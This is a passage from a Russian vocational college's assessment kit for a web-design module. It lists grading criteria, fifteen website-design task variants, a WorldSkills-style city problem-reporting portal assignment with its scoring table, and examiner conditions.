программе прохождения практики - отчет 

собран в полном объеме; 

 не везде прослеживается 

структурированность (четкость, 

нумерация страниц, подробное оглавление 

отчета); 

 в оформлении отчета прослеживается 

небрежность; 



 

 нарушены сроки сдачи отчета;  

 демонстрирует неуверенно знание 

нормативных документов, слабо владеет 

профессиональной лексикой; 

 студентом предъявлен минимальный 

объем умений и практического опыта; 

 затрудняется при ответах на 

дополнительные вопросы. 

«2» 

(неудовлетворител

ьно) 

 соответствие содержания отчета 

программе прохождения практики – отчет 

собран не в полном объеме; 

 нарушена структурированность 

(четкость, нумерация страниц, подробное 

оглавление отчета); 

 отчет оформлен не в соответствии с 

Методическими рекомендациями к 

составлению отчета по практике; 

 нарушены сроки сдачи отчета; 

 демонстрирует незнание нормативных 

документов. 

 

2.2. Модуль 2: Время проведения: 6 часов. 

 

Примерный вариант азадния на модуль 2 
 

Инструкция: Выполнить практическое задание 

 

Разработать клиентскую часть сайта о возникновение книгопечатания в Европе, 

используя программное обеспечение по созданию структуры и дизайна сайта по вариантам, в 

котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 

Критерии оценок: 

 «5» - Ответы на поставленные вопросы излагаются логично, последовательно и не 

требуют дополнительных пояснений. Полно раскрываются причинно-следственные 

связи между явлениями и событиями. Делаются обоснованные выводы. 

«4» - Ответы на поставленные вопросы излагаются систематизировано и 

последовательно. Материал излагается уверенно. Раскрыты причинно-следственные 

связи между явлениями и событиями. Демонстрируется умение анализировать 

материал, однако не все выводы носят аргументированный и доказательный характер.  

«3» - Допускаются нарушения в последовательности изложения. Неполно 

раскрываются причинно-следственные связи между явлениями и событиями. 

Демонстрируются поверхностные знания вопроса, с трудом решаются конкретные 

задачи. Имеются затруднения с выводами.  

«2» - Материал излагается непоследовательно, сбивчиво, не представляет 

определенной системы знаний по дисциплине. Не раскрываются причинно-следственные 

связи между явлениями и событиями. Не проводится анализ. Выводы отсутствуют. 

Ответы на дополнительные вопросы отсутствуют. 

 



 

 

Варианты заданий 

Вариант № 1 
Разработать клиентскую часть сайта о возникновение книгопечатания в Европе, 

используя программное обеспечение по созданию структуры и дизайна сайта по вариантам, в 

котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

Вариант № 2 
Разработать клиентскую часть сайта «Система защиты информации в Интернете», 

используя программное обеспечение по созданию структуры и дизайна сайта по вариантам, в 

котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 

Вариант № 3 
Разработать клиентскую часть сайта «Беспроводной Интернет: особенности его 

функционирования», используя программное обеспечение по созданию структуры и дизайна 

сайта по вариантам, в котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 

Вариант № 4 
Разработать клиентскую часть сайта «Программы, разработанные для работы с 

электронной почтой», используя программное обеспечение по созданию структуры и дизайна 

сайта по вариантам, в котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 

Вариант № 5 
Разработать клиентскую часть сайта «Разновидности поисковых систем в Интернете», 

используя программное обеспечение по созданию структуры и дизайна сайта по вариантам, в 

котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 



 

Вариант № 6 
Разработать клиентскую часть сайта «Основные принципы функционирования сети 

Интернет», используя программное обеспечение по созданию структуры и дизайна сайта по 

вариантам, в котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 

Вариант № 7 
Разработать клиентскую часть сайта «Всемирная сеть Интернет: доступы к сети и 

основные каналы связи», используя программное обеспечение по созданию структуры и 

дизайна сайта по вариантам, в котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 
 

Вариант № 8 
Разработать клиентскую часть сайта «Разновидности компьютерных вирусов и методы 

защиты от них. Основные антивирусные программы», используя программное обеспечение по 

созданию структуры и дизайна сайта по вариантам, в котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 

Вариант № 9 
Разработать клиентскую часть сайта «Основные способы представления информации и 

команд в компьютере», используя программное обеспечение по созданию структуры и дизайна 

сайта по вариантам, в котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 
 

Вариант № 10 
Разработать клиентскую часть сайта «Информационный язык как средство 

представления информации», используя программное обеспечение по созданию структуры и 

дизайна сайта по вариантам, в котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 

Вариант № 11 
Разработать клиентскую часть сайта о «Создание, переработка и хранение информации в 

технике», используя программное обеспечение по созданию структуры и дизайна сайта по 

вариантам, в котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 



 

Вариант № 12 
Разработать клиентскую часть сайта «Основные этапы информатизации общества», 

используя программное обеспечение по созданию структуры и дизайна сайта по вариантам, в 

котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 
 

Вариант № 13 
Разработать клиентскую часть сайта об истории появления информационных 

технологий, используя программное обеспечение по созданию структуры и дизайна сайта по 

вариантам, в котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 
 

Вариант № 14 
Разработать клиентскую часть сайта «История развития информатики как науки», 

используя программное обеспечение по созданию структуры и дизайна сайта по вариантам, в 

котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 
 

Вариант № 15 
Разработать клиентскую часть сайта о первых изданиях русской азбуки (XVI - XVII вв.), 

используя программное обеспечение по созданию структуры и дизайна сайта по вариантам, в 

котором должно быть:  

1 Структура сайта. 

2 Дизайн сайта. 

3 Экранные формы всех страниц в едином стиле. 

 



 

2.3. Модуль 3: Задание по стандарту Вордскиллс 

 

Введение 

В последнее время проблем в городах становится все больше и больше. Не каждую 

проблему удается решить быстро, потому что компании ответственные за решение 

проблем не всегда знают о них. 

Вам необходимо создать городской портал «Сделаем лучше вместе!» по приему 

заявок на устранение проблем в городе: ямочный ремонт дорог, ремонт детских 

площадок, зданий сооружений и т.д. Вам предстоит продемонстрировать свои знания в 

разработке веб-портала с использованием таких технологий как дизайн, верстка, 

программирование на стороне клиента и сервера. Также необходимо позаботиться о 

защите проекта: от взлома, от несанкционированного доступа к административным 

функциям и т.д. 

Вы можете использовать предоставленные фреймворки и библиотеки: Yii2, Laravel 

6.5, Django 2.2.4, jQuery, jQuery UI, Vue.js. 

Вам необходимо продумать дизайн и сверстать его, а также реализовать 

функциональные возможности сервиса в соответствии с текущим заданием. 

Стоит принять во внимание тот факт, что основная часть пользователей использует 

сайт через мобильный телефон. Обязательно позаботьтесь об удобстве использования 

сервиса и обратной связи между порталом и пользователями. Целью создания сайта 

является привлечение молодежи от 14 до 25 лет к проблемам благоустройства города. 

Также вам необходимо разработать логотип, отвечающий требованиям проекта. 

Дополнительным преимуществом будет реализация интерактивных 

взаимодействий с пользователем, анимация и микроанимация. 

 

ВНИМАНИЕ! Проверяться будут только работы, загруженные на сервер! 

 

Описание проекта и задач. Ваша задача - разработать дизайн сайта, которым 

удобно пользоваться на смартфонах с разрешением 720х1440рх. 

Несмотря на то, что основная целевая группа будет пользоваться вашим веб-

ресурсом со смартфонов, вы должны предусмотреть возможность удобной работы на 

сайте с компьютеров. Поэтому ваша верстка должна быть адаптивна и корректно 

открываться со следующих устройствах: 

 смартфоны с разрешением 720x1440px; 

 компьютеры с шириной экрана от 1200px. 

Структура страниц для смартфонов и компьютеров должна отличаться. 

Следует обратить внимание, что дизайн сайта должен быть удобен и понятен для 

использования, соответствовать современным тенденциям, а также учитывать 

особенности платформ, для которых создается сайт. Все созданные страницы должны 

иметь согласованный интерфейс. 

При разработке верстки необходимо использовать один из предоставленных 

шрифтов. 

На сайте должны быть реализованы следующие страницы: 



 

Главная страница, предоставляющая возможности авторизации и регистрации 

пользователей. 

Личные кабинеты администратора и авторизованных пользователей 

Дополнительная информация по каждой из страниц представлена ниже. Вы можете 

создавать дополнительные страницы по своему усмотрению. 

Учтите, что дизайн и верстка будут оцениваться в первую очередь по страницам: 

Главная страница 

Личный кабинет авторизованного пользователя 

Доступ к этим страницам должен быть очевидным. 

Логотип должен быть реализован в соответствии с требованиями: 

В логотипе должны быть использованы основные цвета сайта; 

Логотип представляет собой изображение; 

Разработанный логотип должен быть сохранен на сервере в корневом каталоге в 

директории logo со следующим именем - logo.png 

Портал должен поддерживать возможности 3 типов пользователей: 

 Гость 

 Авторизованный пользователь 

 Администратор 

Возможности гостя 

 Вход в личный кабинет по логину и паролю 

 Регистрация 

 Просмотр главной страницы 

Возможности авторизованного пользователя 

 Регистрация, авторизация, выход; 

 Создание заявки на решение проблемы; 

 Просмотр своих заявок; 

 Удаление своей заявки. 

Разделы администратора 

 Смена статуса заявки на «Решена» или «Отклонена». 

 Управление категориями заявок (например, «ремонт дорог», «уборка 

мусора» и др.) 

Авторизация пользователя и администратора 

При вводе неправильной пары логин-пароль пользователю отображается 

сообщение об ошибке. 

При успешной авторизации пользователь должен перенаправляться в личный 

кабинет с возможностью просмотра своих заявок. Личный кабинет доступен только 

авторизованному пользователю. 

Панель управления сайтом доступна только администратору. 

Регистрация пользователя 

Вся валидация должна работать без перезагрузки страницы, все поля обязательные 

для заполнения: 

 ФИО - только кириллические буквы, дефис и пробелы - проверка на стороне 

клиента; 



 

 Логин - только латиница, уникальный - проверка на стороне сервера, без 

перезагрузки страницы; 

 Email - валидный формат email-адрес - проверка на стороне клиента; 

 Пароль; 

 Повтор пароля - введенное значение должно совпадать с паролем; 

 Согласие на обработку персональных данных - должно быть 

 отмечено. 

В случае несоответствия любым требованиям выводится анимированное 

сообщение об ошибке, поля с ошибками выделяются, данные на сервер не 

отправляются. 

Создайте учетную запись администратора с логином admin и паролем adminWSR. 

Все авторизованные пользователи могут выйти из профиля по нажатию на 

ссылку/кнопку «Выход». 

 Создание заявки (все поля обязательны): 

 Название; 

 Описание; 

 Категория (выбор из существующих категорий); 

Фото, демонстрирующее проблему в одном из форматов (jpg, jpeg, png, bmp) 

максимальный размер 10Мб; при невыполнении хотя бы одного из требований, заявка 

не сохраняется на сервере, выводится сообщения об ошибке. 

Временная метка добавления заявки создается автоматически при добавлении 

заявки в базу данных. 

При добавлении заявки она должна автоматически получить статус «Новая». 

Удаление заявки 

При удалении заявки пользователю должно быть выведено сообщение с просьбой 

подтвердить желаемое действие. Пользователь может удалить только свою заявку, 

статус которой не был изменен администратором на «решено» или «отклонена». 

Просмотр своих заявок 

На странице просмотра своих заявок необходимо отобразить список своих заявок 

со следующими полями: 

 Временная метка 

 Название заявки 

 Описание заявки 

 Категория заявки 

 Статус заявки (Новая, Решена, Отклонена). 

По умолчанию отображаются все заявки в порядке добавления заявок (недавно 

добавленные отображаются в начале таблицы). 

Вам необходимо добавить возможности фильтрации заявок по статусу, например, 

отображение только заявок со статусом «Новая». 

На главной странице выводится не более 4 последних решенных проблем (фото 

решенной проблемы) со следующими полями: 

 Временная метка 

 Название 

 Категория заявки 



 

 Фотография 

Изначально видна фотография «после». При наведении указателя мыши на фото 

«после», вместо него анимировано должна отображаться фотография «до». Стиль 

анимации: «масштабирование». После вывода указателя мыши с изображения 

появляется начальное изображение «после» с тем же стилем анимации. Пример 

реализации анимированной смены изображений доступен в видеофайле 

«Ьоуег/масштабирование.шр4». 

Добавьте на главную страницу счетчик: 

Количество решенных заявок. 

Информация о количестве решенных задачах обновляется автоматически, без 

перезагрузки страницы не реже чем 1 раз в 5 секунд. 

В случае изменения значения счетчика должно звучать оповещение (Notif.mp3). 

Значение счетчика должно обновляться с анимацией. 

Смена статуса заявки 

Заявке со статусом «Новая» можно сменить статус на «Решена» с обязательным 

прикреплением (добавлением) фотографии - доказательства решения проблемы 

(фотография «ПОСЛЕ»). 

Заявке со статусом «Новая» можно сменить статус на «Отклонена» с обязательным 

указанием причины отказа. 

Смена статуса с «Решена» или «Отклонена» невозможна. 

Управление категориями заявок 

Администратор может добавить или удалить категорию заявок. 

При удалении категории должны быть удалены все заявки данной категории. 

Заявки этой категории не отображаются. 

ИНСТРУКЦИЯ ДЛЯ УЧАСТНИКОВ 

Портал должен быть доступен по адресу: http://xxxxxx-m1.wsr.ru/, где xxxxxx - 

логин пользователя, полученный участником на индивидуальное карточке 

Административная панель должна быть доступна по адресу: http://xxxxxx-

m1.wsr.ru/admin 

Внимание! Доступ ко всем страницам должен быть реализован с помощью 

элементов пользовательского интерфейса. 

Медиа файлы располагаются на сервере в папке public. Вы можете изменять 

предоставленные файлы и создавать новые для улучшения приложения. 

Проверяются только работы, загруженные на сервер. 

Ваш HTML/CSS должен быть валидным, а в консоли браузера и на сайте 

отсутствовать ошибки/предупреждения/оповещения, создаваемые средствами JavaScript 

и PHP. 

Оценка будет производиться в браузере Google Chrome. 

Критерии оценки приведены в таблице: 

http://xxxxxx-m1.wsr.ru/
http://xxxxxx-m1.wsr.ru/admin
http://xxxxxx-m1.wsr.ru/admin


 

 

№ 

п/ 

п 

Критерий 

Модуль, в 

котором 

используется 

критерий 

Время 

на 

выполн 

ения 

модуля 

Провер 

яемые 

раздел 

ы 

WSSS 

Баллы 

Судейска я 

(если 

Это 

примени 

мо) 

Объективн
ая 

Общая 

1 
Организация 

работы и 

управление 

1 

6 часов 

1 1.25 0.75 2.00 

2 

Коммуникативн 

ые и 

межличностные 

навыки 

1 2 1.75 0.25 2.00 

3 
Графический 

дизайн веб 

страниц 

1 3 9.25 0.75 10.00 

4 Верстка страниц 1 4 0.00 10.00 10.00 

5 
Программирова 

ние на стороне 

клиента 

1 5 3.50 6,50 10.00 

6 
Программирова 

ние на стороне 

сервера 

1 6 0.00 10.00 10.00 

Итого = 15,75 28,25 44 

 

Исходя из максимального балла ставиться оценка по пятибальной шкале в 

соотвестивии с таблицей: 

 

 Максимальный 

балл 

«2» «3» «4» «5» 

Задание Сумма 

максимальных 

баллов по модулям 

задания 

0,00% - 

19,99% 

20,00% - 

39,99% 

40,00% - 

69,99% 

70,00% - 

100,00% 



 

III. ПАКЕТ ЭКЗАМЕНАТОРА 

  

 УСЛОВИЯ 

 

Количество вариантов заданий для экзаменующихся – Модуль 1 – 15 вариантов 

Время выполнения экзамена по модулю 18 часов  

Модуль 1: Защита отчета по практике – 6 часов максимальная оценка 5 баллов 

Модуль 2 – 6 часов максимальная оценка 5 баллов 

Модуль 3 – 6 часов максимальная оценка 5 баллов 

Всего на экзамен – 18 часов – оценка вычисляется как средний балл за три модуля. 

Условия выполнения заданий: 

 Задания выполняются при отсуствии подключения к сети Интернет.  

 Возможно испозовать справочник Zeal 

 

6. Перечень материалов, оборудования и информационных источников, 

используемых в аттестации по МДК  
 

Оборудование лабораторий и рабочих мест лабораторий: 

Студи Инженерной и компьютерной графики, Разработки дизайна веб-приложений, 

оснащенные в соответствии с п. 6.1.2.1. ППССЗ по специальности: 

Оснащенные базы практики, в соответствии с п 6.2.3 ППССЗ по специальности. 

 

Основные источники: 

1. Компьютерная графика и web-дизайн: Уч.пос. / Под ред. Гагарина Л.Г.-М.:ИД ФОРУМ,НИЦ 

ИНФРА-М, 2021-400с 

 

Оборудование: 

 

Мультимедийный проектор -1 

Компьютер – на каждого участника экзаменационной работы 

Состав программного обеспечения: OSPanel 

 

 

 

 

 

 

 

 

 

 



 

Лист согласования 

 

Дополнения и изменения к комплекту КОС на учебный год 

 

 

Дополнения и изменения к комплекту КОС на 201. – 201. учебный год по 

профессиональному модулю 

 

ПМ.0..   

  

В комплект КОС внесены следующие изменения: 

 

 

 

 

 

 

 

Дополнения и изменения в комплекте КОС обсуждены на заседании МК  

 

 

 

«____»_______________20___ г. (протокол №_____). 

 

Председатель МК ___________________   Исакова О.В. 
                                    (подпись)                                    


